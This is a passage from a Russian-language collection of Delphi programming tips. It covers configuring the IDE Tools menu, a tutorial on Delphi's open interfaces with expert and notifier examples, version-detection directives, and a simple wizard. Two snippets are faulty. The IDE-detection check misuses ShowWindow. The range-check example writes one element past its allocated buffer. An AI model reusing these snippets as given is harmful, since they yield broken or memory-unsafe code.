{ *********************   Конец TIVCSModuleInterface  ************************** }
end.

К заголовку




" Использование меню Инструменты в IDE
The menu "Tools" is a free configurable part of the Delphi-IDE.
You can there insert tools, you often use while coding.
I (for example) have the MSDN and another Editor in there.
First choose Tools / Configure Tools. Then click Add, to add another item.
Title is the caption beeing showed, when you open the tools menu.
A & makes the next letter to the QuickSelect letter.
Program is the program, you want to launch.
Use here (for example) "C:\Program Files\TextPad\TextPad.exe".
If you have spaces in you path or filename, quote the hole string.
Working dir is the directory, the program will be launched.
It''s normally the same as the program directory.
Parameters are beeing given to the program, you run, or (in case of macros) are beeing run,
when you select the item. Click on parameters, to show a list of macros for use with it.
With a second editor, the macros $SAVEALL and $NAME will be usefull.
To make the menu more structured, you can use a horizontal rule.
You create one, by entering - in the Title field.
Cause of a bug in the Delphi IDE, you cannot create a second rule as easy.
You''ll have to enter another caption first and then rename it.

{***************************************************************************}

Das Tools Menu ist ein frei konfigurierbarer Teil der Delphi-IDE.
Man kann darin Programme, die man oft zur Entwicklung von Delphi-Programmen braucht konfigurieren,
um sie bei Bedarf schneller zu цffnen. Ich habe dort drin z.B. die MSDN und ein alternativer Editor fьr Delphi-Sources,
sowie einige andere Tools.
Zuerst wдhlt man Tools / Configure Tools. In dem dann erscheinenden Menu kann man per
Add neue Eintrдge hinzufьgen.
Unter Title gibt man den Namen an, der erscheinen soll. '&' unterstreicht den nдchsten Buchstaben
(QuickSelect).
Unter Programm gibt man das Programm an, welches man starten mцchte.
Z.B. C:\Programme\TextPad\TextPad.exe. Wenn der Pfad Leerzeichen enthдlt, muss man entweder alles ins 8.3-Format
konvertieren, oder den Pfad mit "" schreiben.
Unter Working Dir sollte man den Pfad angeben, in dem auch das Programm ist.
Unter Parameters kann man Makros sowie auch Parameter fьr das Programm hinzufьgen.
Mit einem Klick auf Macros цffnet sich eine Liste mit den vorhandenen Makros mit kurzer Beschreibung.
Fьr einen zweiten Editor wдhre z.B. $SAVEALL, sowie $NAME sehr nьtzlich.
Um das ganze Menu besser Strukturieren zu kцnnen, kцnnen Horizontale Linien angelegt werden.
Dies macht man mit einem neuen Item, dass unter Title einen - (Bindestrich) drin hat.
Leider hat es in Delphi einen Bug, der verhindert, dass man zwei mal das "selbe" Item anlegt.
Um noch eine zweite Linie zu erstellen, muss man zuerst einen anderen Namen nehmen (z.B. Temp) und dann unter Edit
das auf - дndern.
К заголовку




" Использование открытых интерфейсов среды программирования Delphi
Одной и наиболее сильных сторон среды программирования Delphi является ее открытая архитектура, благодаря которой Delphi
допускает своего рода метапрограммирование, позволяя “программировать среду программирования”. Такой подход переводит
Delphi на качественно новый уровень систем разработки приложений и позволяет встраивать в этот продукт дополнительные
инструментальные средства, поддерживающие практически все этапы создания прикладных систем. Столь широкий спектр возможностей
открывается благодаря реализованной в Delphi концепции так называемых открытых интерфейсов, являющихся связующим звеном между
IDE (Integrated Development Environment) и внешними инструментами. Данная статья посвящена открытым интерфейсам Delphi и
представляет собой обзор представляемых ими возможностей.

В Delphi определены шесть открытых интерфейсов: Tool Interface, Design Interface, Expert Interface, File Interface, Edit
Interface и Version Control Interface. Вряд ли в рамках данной статьи нам удалось бы детально осветить и проиллюстрировать
возможности каждого из них. Более основательно разобраться в рассматриваемых вопросах вам помогут исходные тексты Delphi,
благо разработчики снабдили их развернутыми комментариями. Объявления классов, представляющих открытые интерфейсы,
содержатся в соответствующих модулях в каталоге ...\Delphi\Source\ToolsAPI.

Design Interface (модуль DsgnIntf.pas)
    предоставляет средства для создания редакторов свойств и редакторов компонентов. Редакторы свойств и компонентов – это
тема, достойная отдельного разговора, поэтому напомним лишь, что редактор свойства контролирует поведение Инспектора
Объектов при попытке изменить значение соответствующего свойства, а редактор компонента активизируется при двойном нажатии
левой кнопки мыши на изображении помещенного на форму компонента.
Version Control Interface (модуль VCSIntf.pas)
    предназначен для создания систем контроля версий. Начиная с версии 2.0, Delphi поддерживает интегрированную систему
контроля версий Intersolv PVCS, поэтому в большинстве случаев в разработке собственной системы нет необходимости. По этой
причине рассмотрение Version Control Interface мы также опустим.
File Interface (модуль FileIntf.pas)
    позволяет переопределить рабочую файловую систему IDE, что дает возможность выбора собственного способа хранения файлов
(в Memo-полях на сервере БД, например).
Edit Interface (модуль EditIntf.pas)
    предоставляет доступ к буферу исходных текстов, что позволяет проводить анализ кода и выполнять его генерацию,
определять и изменять позицию курсора в окне редактора кода, а также управлять синтаксическим выделением исходного текста.
Специальные классы предоставляют интерфейсы к помещенным на форму компонентам (определение типа компонента, получение ссылок
на родительский и дочерние компоненты, доступ к свойствам, передача фокуса, удаление и т.д.), к самой форме и к ресурсному
файлу проекта. Также Edit Interface позволяет идентифицировать так называемые модульные нотификаторы, определяющие реакцию
на такие события, как изменение исходного текста модуля, модификация формы, переименование компонента, сохранение,
переименование или удаление модуля, изменение ресурсного файла проекта и т. д.
Tool Interface (модуль ToolIntf.pas)
    предоставляет разработчикам средства для получения общей информации о состоянии IDE и выполнения таких действий, как
открытие, сохранение и закрытие проектов и отдельных файлов, создание модуля, получение информации о текущем проекте
(число модулей и форм, их имена и т. д.), регистрация файловой системы, организация интерфейсов к отдельным модулям и т.д.
В дополнение к модульным нотификаторам Tool Interface определяет add-in нотификаторы, уведомляющие о таких событиях, как
открытие/закрытие файлов и проектов, загрузка и сохранение desktop-файла проекта, добавление/исключение модулей проекта,
инсталляция/деинсталляция пакетов, компиляция проекта, причем в отличие от модульных нотификаторов add-in нотификаторы
позволяют отменить выполнение некоторых событий. Кроме того, Tool Interface предоставляет средства доступа к главному
меню IDE Delphi, позволяя встраивать в него дополнительные пункты.
Expert Interface (модуль ExptIntf.pas)
    представляет собой основу для создания экспертов — программных модулей, встраиваемых в IDE c целью расширения ее
функциональности. В качестве примера эксперта можно привести входящий в Delphi Database Form Wizard, выполняющий генерацию
формы для просмотра и изменения содержимого таблицы БД.

Эксперты бывают нескольких типов (стилей):
Стиль         Описание
esStandard         Для каждого эксперта такого стиля IDE добавляет пункт меню Tools/..., при выборе которого эксперт
активизируется (IDE вызывает его метод Execute)
esForm
esProject         IDE рассматривает эксперты данного стиля как шаблоны форм/проектов и помещает активизирующие их
изображения в галерею Object Repository.
esAddIn         Эксперты подобного стиля обеспечивают собственный интерфейс с IDE


Класс каждого эксперта является потомком базового класса TIExpert, содержащего серию абстрактных методов, которые
необходимо перекрыть в порождаемом классе:
Метод         Описание
GetName         Должен возвращать имя эксперта
GetAuthor         Должен возвращать имя автора эксперта. Это имя отображается в Object Repository
GetComment         Должен возвращать комментарий (1-2 предложения), поясняющий назначение эксперта. Используется в Object Repository
GetPage         Должен возвращать название страницы Object Repository, на которую IDE поместит соответствующее эксперту изображение
GetGlyph         Должен возвращать дескриптор (HICON, в Delphi 1.0 – HBITMAP) соответствующего эксперту изображения в ObjectRepository
GetStyle         Должен возвращать константу, соответствующую стилю эксперта (esStandard/esForm/esProject/esAddIn)
GetState         Если возвращаемое множество содержит константу esChecked, IDE пометит соответствующий эксперту пункт меню
“галочкой”, а если множество содержит константу esEnabled, то IDE сделает этот пункт меню доступным для выбора
GetIDString         Должен возвращать строку – идентификатор эксперта, уникальную среди всех установленных экспертов. По
соглашению, формат этой строки таков:
Имя_Компании.Назначение_эксперта,
например: Borland.WidgetExpert
GetMenuText         Должен возвращать текст, отображаемый в пункте меню эксперта. Этот метод вызывается каждый раз, когда
раскрывается родительское меню, что позволяет сделать пункт меню контекстно-чувствительным
Execute         Вызывается при вызове эксперта через меню или Object Repository (в зависимости от стиля)


Набор методов, подлежащих перекрытию, зависит от стиля эксперта:
Метод         esStandard         esForm         esProject         esAddIn
GetName         +         +         +         +
GetAuthor                 +         +
GetComment                 +         +
GetPage                 +         +
GetGlyph                 +         +
GetStyle         +         +         +         +
GetState         +
GetIDString         +         +         +         +
GetMenuText         +
Execute         +         +         +


Определив класс эксперта, необходимо позаботиться о том, чтобы Delphi “узнала” о нашем эксперте. Для этого его нужно
зарегистрировать посредством вызова процедуры RegisterLibraryExpert, передав ей в качестве параметра экземпляр класса эксперта.

В качестве иллюстрации создадим простой эксперт в стиле esStandard, который при выборе соответствующего ему пункта меню
Delphi выводит сообщение о том, что он запущен. Как видно из вышеприведенной таблицы, стиль esStandard обязывает
перекрыть шесть методов:

unit exmpl_01;

{ STANDARD EXPERT }

interface

uses
  Dialogs, ExptIntf;

type
  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    function GetMenuText: string; override;
    function GetState: TExpertState; override;
    procedure Execute; override;
end;

procedure register;

implementation

{ возвращаем имя эксперта }
function TEMyExpert.GetName: string;
begin
  Result := 'My Simple Expert 1';
end;

{ возвращаем стиль эксперта }
function TEMyExpert.GetStyle: TExpertStyle;
begin
  Result := esStandard;
end;

{ возвращаем строку - идентификатор эксперта }
function TEMyExpert.GetIDString: string;
begin
  Result := 'Doomy.SimpleAddInExpert_1';
end;

{ возвращаем текст пункта меню }
function TEMyExpert.GetMenuText: string;
begin
  Result := 'Simple Expert 1';
end;

{ возвращаем множество, характеризующее состояние пункта меню эксперта }
{ (доступность, наличие "галочки"); в данном случае пункт меню доступен, }
{ а "галочка" отсутствует }
function TEMyExpert.GetState: TExpertState;
begin
  Result := [esEnabled];
end;

{ при выборе пункта меню эксперта отображаем сообщение }
procedure TEMyExpert.Execute;
begin
  MessageDlg('Standard Expert Started!', mtInformation, [mbOK], 0);
end;

{ регистрируем эксперт }
procedure register;
begin
  RegisterLibraryExpert( TEMyExpert.Create);
end;

end.


Для того чтобы эксперт был “приведен в действие”, необходимо выбрать пункт меню Component/Install Component ... ,
выбрать в диалоге Browse модуль, содержащий эксперт (в нашем случае exmpl_01.pas), нажать ОК, и после компиляции пакета
dclusr30.dpk в главном меню Delphi в разделе Help должен появиться пункт Simple Expert 1, при выборе которого появляется
информационное сообщение “Standard Expert started!”.

Почему Delphi помещает пункт меню эксперта в раздел Help, остается загадкой. Если вам не нравится то, что пункт меню
появляется там, где угодно Delphi, а не там, где хотите вы, возможен следующий вариант: создать эксперт в стиле add-in,
что исключает автоматическое создание пункта меню, а пункт меню добавить “вручную”, используя средства Tool Interface.
Это позволит задать местоположение нового пункта в главном меню произвольным образом. Для добавления пункта меню
используется класс TIToolServices — основа Tool Interface — и классы TIMainMenuIntf, TIMenuItemIntf, реализующие
интерфейсы к главному меню IDE и его пунктам. Экземпляр ToolServices класса TIToolServices создается самой IDE при
ее инициализации. Обратите внимание на то, что ответственность за освобождение интерфейсов к главному меню Delphi и
его пунктам целиком ложится на разработчика. Попутно немного усложним функциональную нагрузку эксперта: при
активизации своего пункта меню он будет выдавать справку об имени проекта, открытого в данный момент в среде:

unit exmpl_02;

{ ADD-IN EXPERT, ДОБАВЛЕНИЕ ПУНКТА В ГЛАВНОЕ МЕНЮ IDE DELPHI }
interface

uses
  Classes, Dialogs, ToolIntF, ExptIntf, Menus;

type
  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    MenuItem: TIMenuItemIntf;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure MenuItemClick( Sender: TIMenuItemIntf);
end;

procedure register;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;

implementation

{ добавляем пункт в главное меню IDE Delphi: }
{ 1) текст вставляемого пункта меню - 'Simple Expert 2'; }
{ 2) идентификатор вставляемого пункта меню - 'ViewMyExpertItem2'; }
{ 3) идентификатор пункта меню, перед которым добавляется новый }
{ пункт меню - 'ViewWatchItem' (для Delphi 5 - 'ViewWatchesItem');}
{ 4) горячая клавиша вставляемого пункта - 'Ctrl + 2'; }
{ 5) обработчик события, соответствующего выбору вставляемого пункта }
{ меню - MenuItemClick }
constructor TEMyExpert.Create;
begin
  inherited Create;
  MenuItem:= AddIDEMenuItem( 'Simple Expert 2', 'ViewMyExpertItem2',
  {$IFDEF VER130}
  'ViewWatchesItem', '2', MenuItemClick);
  {$ELSE}
  'ViewWatchItem', '2', MenuItemClick);
  {$ENDIF}
end;

destructor TEMyExpert.Destroy;
begin
  if Assigned( MenuItem) then
    MenuItem.Free;
  inherited Destroy;
end;

{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
begin
  MessageDlg( 'Current project name is ' + ToolServices.GetProjectName,
  mtInformation, [mbOK], 0);
end;

{ возвращаем имя эксперта }
function TEMyExpert.GetName: string;
begin
  Result := 'My Simple Expert 2';
end;

{ возвращаем стиль эксперта }
function TEMyExpert.GetStyle: TExpertStyle;
begin
  Result := esAddIn;
end;

{ возвращаем строку - идентификатор эксперта }
function TEMyExpert.GetIDString: string;
begin
  Result := 'Doomy.SimpleAddInExpert_2';
end;


function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;
var
  MainMenu: TIMainMenuIntf;
  MenuItems, PreviousItem, ParentItem: TIMenuItemIntf;
begin
  Result:= nil;
  { получаем интерфейс пунктов главного меню IDE }
  MainMenu:= ToolServices.GetMainMenu;
  if Assigned( MainMenu) then
    try
      { получаем интерфейс пунктов верхнего уровня меню }
      MenuItems:= MainMenu.GetMenuItems;
      if Assigned( MenuItems) then
        try
          { ищем пункт меню перед которым необходимо вставить новый пункт }
          PreviousItem:= MainMenu.FindMenuItem( PreviousItemName);
          if Assigned( PreviousItem) then
            try
              { получаем интерфейс к родительскому пункту меню }
              ParentItem:= PreviousItem.GetParent;
              if Assigned( ParentItem) then
                try
                  { вставляем новый пункт меню и в качестве результата функции }
                  { возвращаем его интерфейс }
                  Result:= ParentItem.InsertItem( PreviousItem.GetIndex, Caption,
                  name, '', ShortCut( Word( ShortCutKey), [ssCtrl]), 0, 0,
                  [mfVisible, mfEnabled], OnClick);
                finally
                  { освобождаем интерфейс родительского пункта меню }
                  ParentItem.Free;
                end;
            finally
              { освобождаем интерфейс пункта меню перед которым вставили }
              { новый пункт }
              PreviousItem.Free;
            end;
        finally
          { освобождаем интерфейс пунктов верхнего уровня меню }
          MenuItems.Free;
        end;
    finally
      { освобождаем интерфейс главного меню IDE }
      MainMenu.Free;
    end;
end;

procedure register;
begin
  { регистрируем эксперт }
  RegisterLibraryExpert( TEMyExpert.Create);
end;

end.


В этом примере центральное место занимает функция AddIDEMenuItem, осуществляющая добавление пункта меню в главное
меню IDE Delphi. В качестве параметров ей передаются текст нового пункта меню, его идентификатор, идентификатор
пункта, перед которым вставляется новый пункт, символьное представление клавиши, которая вместе с клавишей Ctrl
может использоваться для быстрого доступа к новому пункту, и обработчик события, соответствующего выбору нового пункта.
Мы добавили новый пункт меню в раздел View перед пунктом Watches.

Теперь познакомимся с нотификаторами. Определим add-in нотификатор, отслеживающий моменты закрытия/открытия проектов
и корректирующий соответствующим образом поле, хранящее имя активного проекта (реализацию методов, не претерпевших
изменений по сравнению с предыдущим примером, для краткости опустим):

unit exmpl_03;

{ ИСПОЛЬЗОВАНИЕ ADD-IN НОТИФИКАТОРОВ }
interface

uses
  Classes, Dialogs, ToolIntF, ExptIntf, Menus;

type
  TEMyExpert = class;

  { касс add-in нотификатора порождаем от TIAddInNotifier}
  TAddInNotifier = class(TIAddInNotifier)
  private
    Expert: TEMyExpert;
  public
    constructor Create( anExpert: TEMyExpert);
    procedure FileNotification( NotifyCode: TFileNotification;
    const FileName: string; var Cancel: Boolean); override;
end;

  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    ProjectName: string;
    MenuItem: TIMenuItemIntf;
    AddInNotifier: TAddInNotifier;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure MenuItemClick( Sender: TIMenuItemIntf);
end;

procedure register;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;

implementation

constructor TAddInNotifier.Create;
begin
  inherited Create;
  Expert := anExpert;
end;

procedure TAddInNotifier.FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean);
begin
  with Expert do
    case NotifyCode of
      fnProjectOpened:
        ProjectName:= FileName; { открытие проекта }
      fnProjectClosing:
        ProjectName:= 'unknown' { закрытие проекта }
    end;
end;

constructor TEMyExpert.Create;
begin
  inherited Create;
  { добавляем пункт в главное меню IDE Delphi }
  MenuItem:= AddIDEMenuItem( 'Simple Expert 3', 'ViewMyExpertItem3',
  {$IFDEF VER130}
  'ViewWatchesItem', '3', MenuItemClick);
  {$ELSE}
  'ViewWatchItem', '3', MenuItemClick);
  {$ENDIF}
  try
    { создаем add-in нотификатор }
    AddInNotifier:= TAddInNotifier.Create( Self);
    { регистрируем add-in нотификатор }
    ToolServices.AddNotifier( AddInNotifier);
  except
    AddInNotifier:= nil;
  end;
  { инициализируем поле, хранящее имя активного проекта }
  ProjectName:= ToolServices.GetProjectName;
end;

destructor TEMyExpert.Destroy;
begin
  if Assigned( MenuItem) then
    MenuItem.Free;
  if Assigned( AddInNotifier) then
  begin
    { снимаем регистрацию add-in нотификатора }
    ToolServices.RemoveNotifier( AddInNotifier);
    { уничтожаем add-in нотификатор }
    AddInNotifier.Free;
  end;
  inherited Destroy;
end;

{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
begin
  MessageDlg( 'Current project name is ' + ProjectName,
  mtInformation, [mbOK], 0);
end;

...

end.


Для реализации нотификатора мы определили класс TAddInNotifier, являющийся потомком TIAddInNotifier, и
перекрыли метод FileNotification. IDE будет вызывать этот метод каждый раз, когда происходит событие, на
которое способен среагировать add-in нотификатор (каждое такое событие обозначается соответствующей
константой типа TFileNotification). Поле Expert в классе TAddInNotifier служит для обратной связи с
экспертом (метод TAddInNotifier.FileNotification). В деструкторе эксперта регистрация нотификатора снимается,
и нотификатор уничтожается.

А теперь проиллюстрируем использование модульных нотификаторов. Создадим add-in эксперт, выдающий сообщения о
каждом акте сохранения проектного файла (реализацию уже знакомых нам методов для краткости не приводим):

unit exmpl_04;

{ ИСПОЛЬЗОВАНИЕ МОДУЛЬНЫХ НОТИФИКАТОРОВ }

interface

uses
  Classes, Dialogs, ToolIntF, ExptIntf, Menus
  {$IFDEF VER130}, EditIntf{$ENDIF};

type
  { класс модульного нотификатора порождаем от TIModuleNotifier }
  TModuleNotifier = class( TIModuleNotifier)
  private
    FileName: string;
  public
    constructor Create(const aFileName: string);
    procedure Notify( NotifyCode: TNotifyCode); override;
    {$IFDEF VER130}
    procedure ComponentRenamed(ComponentHandle: Pointer;
    const OldName, NewName: string); override;
    {$ELSE}
    procedure ComponentRenamed( const oldName, newName: string); override;
    {$ENDIF}
end;

  TEMyExpert = class;

  { класс add-in нотификатора порождаем от TIAddInNotifier}
  TAddInNotifier = class(TIAddInNotifier)
  private
    Expert: TEMyExpert;
  public
    constructor Create( anExpert: TEMyExpert);
    procedure FileNotification( NotifyCode: TFileNotification;
    const FileName: string; var Cancel: Boolean); override;
end;

  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    AddInNotifier: TAddInNotifier;
    ModuleInterface: TIModuleInterface;
    ModuleNotifier: TModuleNotifier;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure AddModuleNotifier( const FileName: string);
    procedure RemoveModuleNotifier;
end;

procedure register;

implementation

constructor TModuleNotifier.Create(const aFileName: string);
begin
  inherited Create;
  FileName := aFileName;
end;

procedure TModuleNotifier.Notify( NotifyCode: TNotifyCode);
begin
  { если произошло сохранение соответствующего нотификатору файла, }
  { то выдаем сообщение об этом }
  if NotifyCode = ncAfterSave then
    MessageDlg(FileName + 'saved', mtInformation, [mbOK], 0);
end;

procedure TModuleNotifier.ComponentRenamed;
begin
  { ничего здесь не делаем, но метод необходимо перекрыть }
end;

procedure TAddInNotifier.FileNotification( NotifyCode: TFileNotification;
const FileName: string; var Cancel: Boolean);
begin
  with Expert do
    case NotifyCode of
      fnProjectOpened: { открытие проекта }
        { добавляем модульный нотификатор }
        AddModuleNotifier( FileName);
      fnProjectClosing: { закрытие проекта }
        { освобождаем модульный нотификатор }
        RemoveModuleNotifier;
    end;
end;

constructor TEMyExpert.Create;
begin
  inherited Create;
  try
    { создаем add-in нотификатор }
    AddInNotifier:= TAddInNotifier.Create( Self);
    { регистрируем add-in нотификатор }
    ToolServices.AddNotifier( AddInNotifier);
  except
    AddInNotifier:= nil;
  end;
  { добавляем модульный нотификатор }
  AddModuleNotifier( ToolServices.GetProjectName);
end;

destructor TEMyExpert.Destroy;
begin
  if Assigned( AddInNotifier) then
  begin
    { снимаем регистрацию add-in нотификатора }
    ToolServices.RemoveNotifier( AddInNotifier);
    { уничтожаем add-in нотификатор }
    AddInNotifier.Free;
  end;
  { освобождаем модульный нотификатор }
  RemoveModuleNotifier;
  inherited Destroy;
end;

procedure TEMyExpert.AddModuleNotifier;
begin
  { если модульный нотификатор для проектного файла уже зарегистрирован, }
  { то никаких действий не выполняем, во избежание появления дубликатов }
  { нотификаторов; в противном случае дубликаты могли бы появиться, }
  { например, при открытии Delphi: один нотификатор добавился бы при }
  { создании эксперта (в конструкторе класса эксперта), а второй - при }
  { открытии проекта (в TAddNotifier.FileNotification }
  if Assigned( ModuleInterface) and Assigned( ModuleNotifier) then
    Exit;
  try
    { получаем интерфейс модуля }
    ModuleInterface:= ToolServices.GetModuleInterface( FileName);
    try
      { создаем модульный нотификатор }
      ModuleNotifier:= TModuleNotifier.Create( FileName);
      { регистрируем модульный нотификатор }
      ModuleInterface.AddNotifier( ModuleNotifier);
    except
      ModuleNotifier:= nil;
    end;
  except
    ModuleInterface:= nil;
  end;
end;

procedure TEMyExpert.RemoveModuleNotifier;
begin
  if Assigned(ModuleNotifier) then
  begin
    if Assigned( ModuleInterface) then
      { снимаем регистрацию модульного нотификатора }
      ModuleInterface.RemoveNotifier( ModuleNotifier);
    { уничтожаем модульный нотификатор }
    ModuleNotifier.Free;
    ModuleNotifier:= nil;
  end;
  if Assigned( ModuleInterface) then
  begin
    { освобождаем модульный интерфейс }
    ModuleInterface.Free;
    ModuleInterface:= nil;
  end;
end;

...

end.


В данном примере add-in эксперт отслеживает события, соответствующие открытию/закрытию проектов. При каждом открытии
проекта регистрируется модульный нотификатор, соответствующий файлу проекта. В плане реализации модульные нотификаторы
схожи с add-in нотификаторами: мы определяем класс TModuleNotifier, являющийся потомком TIModuleNotifier и перекрываем
его методы Notify и ComponentRenamed. IDE вызывает метод Notify при возникновении определенных событий, имеющих
отношение к данному модулю; внутри этого метода и определяется реакция на то или иное событие. Метод ComponentRenamed
вызывается при изменении имени компонента, лежащего на форме модуля. Обратите внимание на то, что мы не используем
этот метод, но обязаны его перекрыть, иначе при изменении имени компонента будет происходить вызов абстрактного метода
базового класса, что приводит к непредсказуемым последствиям. Регистрация модульного нотификатора является несколько
более сложным процессом по сравнению с регистрацией add-in нотификатора: сначала мы получаем интерфейс модуля
(TIModuleInterface), а затем с помощью интерфейса модуля регистрируем нотификатор. При закрытии проекта регистрация
модульного нотификатора снимается (снова с использованием TIModuleInterface), и нотификатор уничтожается.

В заключение покажем, как можно определять позицию курсора в окне редактора кода. Создадим эксперт, который при выборе
соответствующего пункта меню выдавал бы сообщение, содержащее имя активного файла и позицию курсора в нем (приведена
реализация только существенных для данного примера методов):

unit exmpl_05;

{ ОПРЕДЕЛЕНИЕ ПОЗИЦИИ КУРСОРА }
interface

uses
  SysUtils, Classes, Dialogs, ToolIntF, ExptIntf, EditIntf, Menus;

type
  { класс эксперта является потомком базового класса TIExpert }
  TEMyExpert = class( TIExpert)
  private
    MenuItem: TIMenuItemIntf;
  public
    constructor Create;
    destructor Destroy; override;
    function GetName: string; override;
    function GetStyle: TExpertStyle; override;
    function GetIDString: string; override;
    procedure MenuItemClick( Sender: TIMenuItemIntf);
    function GetCursorPos: TEditPos;
end;

procedure register;

function AddIDEMenuItem( const Caption, name, PreviousItemName: string;
const ShortCutKey: Char; OnClick: TIMenuClickEvent): TIMenuItemIntf;

implementation

{ при выборе пункта меню эксперта отображаем сообщение, содержащее }
{ имя активного проекта }
procedure TEMyExpert.MenuItemClick( Sender: TIMenuItemIntf);
var
  CurPos: TEditPos;
begin
  CurPos:= GetCursorPos;
  if CurPos.Line > 0 then
    MessageDlg( 'Current file: ' + ToolServices.GetCurrentFile + #13 +
    'Current cursor position: ' + IntToStr( CurPos.Line) +
    ', ' + IntToStr( CurPos.Col), mtInformation, [mbOK], 0);
end;

function TEMyExpert.GetCursorPos: TEditPos;
var
  ModuleInterface: TIModuleInterface;
  EditorInterface: TIEditorInterface;
  EditView: TIEditView;
  FileName: string;
begin
  { определяем имя активного файла }
  FileName:= ToolServices.GetCurrentFile;
  Result.Line:= 0;
  Result.Col:= 0;
  { для простоты определяем позицию только в pas- файлах }
  if ExtractFileExt( FileName) = '.pas' then
  begin
    { получаем интерфейс модуля }
    ModuleInterface:= ToolServices.GetModuleInterface( FileName);
    try
      { получаем интерфейс редактора кода }
      EditorInterface:= ModuleInterface.GetEditorInterface;
      try
        { получаем интерфейс представления модуля в редакторе }
        { передавая методу GetView индекс нужного нам представления; }
        { если файл открыт в нескольких окнах редактора кода, то для }
        { простоты берем первое (хотя конечно, это не совсем }
        { правильно }
        EditView:= EditorInterface.GetView( 0);
        try
          Result:= EditView.CursorPos;
        finally
          EditView.Free;
        end;
      finally
        EditorInterface.Free;
      end;
    finally
      ModuleInterface.Free;
    end;
  end;
end;

...


Для определения позиции курсора мы должны получить следующую последовательность интерфейсов:

    * модульный интерфейс (TIModuleInterface);
    * интерфейс редактора кода (TIEditorInterface);
    * интерфейс представления модуля в окне редактора (TIEditView).

Если при выборе пункта меню эксперта активным является файл с исходным текстом (*.pas), то выдается сообщение,
содержащее имя активного файла и текущую позицию курсора в нем. Если активным является не pas-файл, то сообщение
не выдается.

Для получения имени активного файла используется метод GetCurrentFile класса TIToolServices.

Итак, в данной статье в общих чертах рассмотрены открытые интерфейсы и приведены примеры их использования. Еще раз
повторим: благодаря наличию исходных текстов открытых интерфейсов вы без труда сможете разобраться в интересующих
вас деталях. Надеемся, что многообразие возможностей, предоставляемых открытыми интерфейсами, породит у вас не одну
смелую и полезную идею.
К заголовку




" Как во время компиляции модуля определить, под какой версией Delphi она происходит
{$IFDEF VERXXX}
...
{$ELSE}
...
{$ENDIF}


Пользуйтесь вот такой таблицей:

    * Ver80 - Делфи 1
    * Ver90 - Делфи 2
    * Ver93 - С Buider 1
    * Ver100 - Дельфи 3
    * Ver110 - С Buider 3
    * Ver120 - Дельфи 4
    * Ver125 - С Buider 4
    * Ver130 - Дельфи 5
    * Ver140 - Дельфи 6
    * Ver150 - Дельфи 7

procedure TForm1.Button2Click(Sender: TObject);
 const
  Version=
  {$Ifdef Ver80}'Делфи 1';{$EndIf}
  {$Ifdef Ver90}'Делфи 2';{$EndIf}
  {$Ifdef Ver100}'Дельфи 3';{$EndIf}
  {$Ifdef Ver120}'Дельфи 4';{$EndIf}
  {$Ifdef Ver130}'Дельфи 5 ';{$EndIf}
  {$Ifdef Ver140}'Дельфи 6';{$EndIf}
  {$Ifdef Ver150}'Дельфи 7';{$EndIf}
begin
   ShowMessage('Для компилляции этой программы был использован ' + Version);
end;
К заголовку




" Как определить, запущена ли Delphi
Иногда, особенно при создании компонент, бывает необходимо получить доступ к компоненту только когда запущена Delphi IDE.

If FindWindow('TAppBuilder', nil) <= 0 then
  ShowMessage('Delphi is not running!')
else
  ShowWindow('Delphi is running!');

К заголовку




" Как отключить Range Checking для участка программы, а затем вновь включить
Можно сделать это, используя "IFOPT" и "DEFINE".

type
  PSomeArray = ^TSomeArray;
  TSomeArray = array[0..0] of integer;

procedure TForm1.Button1Click(Sender: TObject);
var
  p: PSomeArray;
  i: integer;

begin
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}
  GetMem(p, sizeof(integer) * 200);

  try
    for i := 1 to 200 do
      p[i] := i;
  finally
    FreeMem(p, sizeof(integer) * 200);
  end;

{$IFDEF CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;


К заголовку




" Как создать простейший эксперт
Автор: http://www.swissdelphicenter.ch

{
This unit can be compiled into a package and will
then appear in the delphi Help menu.
}
unit SDCSimpleExpert;

interface

uses ToolsApi;

type
  TSDCSimpleExpert = class(TNotifierObject, IOTAMenuWizard, IOTAWizard)
  public
    function GetIDString: string;
    function GetName: string;
    function GetState: TWizardState;
    procedure Execute;
    function GetMenuText: string;
  end;

procedure Register;

implementation

uses Dialogs;

procedure Register;
begin
  {register expert}
  RegisterPackageWizard(TSDCSimpleExpert.Create);
end;

{ TSDCSimpleExpert }

procedure TSDCSimpleExpert.Execute;
begin
  {code to execute when menu item is clicked}
  ShowMessage('Hello SwissDelphiCenter Simple Expert.');
end;

function TSDCSimpleExpert.GetIDString: string;
begin
  {unique expert identifier}
  Result := 'SwissDelphiCenter.SimpleExpert';
end;

function TSDCSimpleExpert.GetMenuText: string;
begin
  {caption of menu item in help menu}
  Result := 'SwissDelphiCenter Simple Expert';
end;

function TSDCSimpleExpert.GetName: string;
begin
  {name of the expert}
  Result := 'SwissDelphiCenter Simple Expert';
end;

function TSDCSimpleExpert.GetState: TWizardState;
begin
  Result := [wsEnabled];
end;
----------------------------------------------

Написание простейшего эксперта

